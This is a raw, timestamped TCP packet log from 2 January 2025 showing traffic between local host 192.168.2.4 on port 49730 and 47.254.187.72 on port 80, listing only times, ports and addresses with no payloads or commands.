Jan 2, 2025 20:34:57.651086092 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.651093960 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.651103973 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.651103973 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.651114941 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.651124954 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.651124954 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.651135921 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.651158094 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.651187897 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.651202917 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.651212931 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.651212931 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.651233912 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.651243925 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.651254892 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.651257038 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.651257038 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.651299000 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.651307106 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.651307106 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.651309967 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.651350021 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.651350021 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.651911020 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.651921988 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.651932001 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.651942968 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.651952982 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.651962996 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.651962996 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.651973009 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.651997089 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.652084112 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.657309055 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.657320976 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.657336950 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.657352924 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.657363892 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.657373905 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.657381058 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.657387018 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.657396078 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.657443047 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.657471895 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.660748005 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.660828114 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.660837889 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.660851955 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.660854101 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.660866022 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.660876036 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.660877943 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.660886049 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.660897017 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.660897017 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.660919905 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.660949945 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.667489052 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.667531967 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.667541027 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.667551994 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.667565107 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.667572975 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.667655945 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.667674065 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.667690039 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.667701006 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.667710066 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.667725086 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.667732954 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.667757988 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.669961929 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.669982910 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.669994116 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.670039892 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.670044899 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.670044899 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.670058012 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.670069933 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.670079947 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.670083046 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.670120001 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.670120955 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.674999952 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.675034046 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.675074100 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.675081015 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.675081015 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.675086021 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.675101042 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.675112009 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.675122023 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.675124884 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.675124884 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.675134897 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.675148010 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.675148010 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.675309896 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.685770035 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.685785055 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.685801983 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.685813904 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.685825109 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.685834885 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.685836077 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.685846090 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.685870886 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.685898066 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.690114021 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.690146923 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.690161943 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.690179110 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.690188885 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.690200090 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.690202951 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.690210104 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.690221071 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.690242052 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.690268040 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.690268040 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.708430052 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.708451986 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.708463907 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.708475113 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.708487034 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.708498001 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.708499908 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.708513975 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.708528042 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.708549976 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.708576918 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.717082024 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.717093945 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.717108965 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.717125893 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.717134953 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.717144966 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.717154980 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.717164040 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.717164993 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.717171907 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.717173100 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.717236042 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.717236042 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.719552040 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.719568014 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.719579935 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.719588995 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.719599009 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.719609022 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.719619036 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.719628096 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.719630003 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.719647884 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.719674110 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.720328093 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.720339060 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.720349073 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.720369101 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.720383883 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.720392942 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.720395088 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.720405102 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.720416069 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.720427990 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.720442057 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.720525980 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.721012115 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.721081972 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.721091032 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.721101046 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.721112013 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.721133947 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.721148014 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.721153975 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.721169949 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.721179962 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.721189022 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.721224070 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.721355915 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.737751961 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.737770081 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.737790108 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.737802029 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.737812996 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.737818956 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.737823963 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.737833977 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.737837076 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.737837076 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.737843990 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.737867117 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.737874985 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.737879038 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.737890959 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.737895012 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.737900019 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.737915039 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.737921953 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.737934113 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.737946033 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.737946033 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.737946033 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.737965107 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.737970114 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.737977028 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.737987995 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.737991095 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.737998962 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.738008976 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.738019943 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.738030910 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.738042116 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.738045931 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.738066912 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.738066912 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.738075972 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.738101959 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.738132000 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.738161087 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.738346100 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.738749981 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.738763094 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.738774061 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.738785028 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.738796949 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.738806963 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.738809109 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.738818884 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.738831043 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.738842964 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.738893986 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.738893986 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.744616985 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.744631052 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.744642019 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.744652033 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.744667053 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.744677067 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.744688988 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.744689941 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.744735003 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.744735003 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.747704029 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.747718096 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.747730017 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.747740030 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.747750998 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.747761011 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.747772932 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.747776985 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.747796059 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.748061895 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.754381895 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.754393101 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.754448891 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.754451036 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.754463911 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.754476070 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.754484892 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.754497051 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.754508018 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.754509926 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.754532099 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.754578114 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.756726980 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.756799936 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.756809950 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.756819963 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.756831884 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.756843090 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.756849051 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.756853104 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.756870031 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.756881952 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.756906033 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.756906986 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.761925936 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.761938095 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.761956930 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.761966944 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.761977911 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.761981964 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.761989117 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.762000084 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.762023926 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.762059927 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.772510052 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.772521019 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.772530079 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.772567034 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.772567034 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.772578001 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.772599936 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.772609949 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.772619963 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.772627115 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.772640944 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.772726059 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.776885986 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.776896954 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.776913881 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.776923895 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.776933908 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.776945114 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.776946068 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.776954889 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.776968956 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.776994944 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.777189016 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.795218945 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.795232058 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.795243025 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.795253038 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.795263052 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.795278072 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.795285940 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.795289040 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.795299053 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.795420885 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.803936958 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.803947926 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.803958893 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.803976059 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.803986073 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.803996086 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.804007053 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.804007053 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.804050922 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.804050922 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.806256056 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.806267023 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.806282997 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.806292057 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.806303024 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.806313038 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.806315899 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.806323051 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.806333065 CET	80	49730	47.254.187.72	192.168.2.4
